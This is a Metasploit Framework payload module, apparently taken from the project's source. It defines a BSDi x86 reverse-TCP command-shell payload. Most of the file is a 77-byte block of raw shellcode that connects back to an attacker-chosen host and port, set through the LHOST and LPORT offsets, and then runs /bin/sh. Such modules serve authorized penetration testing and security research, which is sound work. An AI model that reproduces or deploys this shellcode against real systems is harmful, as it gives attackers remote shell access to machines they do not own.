shell_reverse_tcp.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 77

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'BSDi Command Shell, Reverse TCP Inline',
        'Description' => 'Connect back to attacker and spawn a command shell',
        'Author' => [ 'skape', 'optyx' ],
        'License' => MSF_LICENSE,
        'Platform' => 'bsdi',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::CommandShell,
        'Payload' => {
          'Offsets' =>
                  {
                    'LHOST' => [ 0x1c, 'ADDR' ],
                    'LPORT' => [ 0x23, 'n' ]
                  },
          'Payload' =>
                       "\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" \
                       "\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" \
                       "\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" \
                       "\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" \
                       "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
        }
      )
    )
  end
end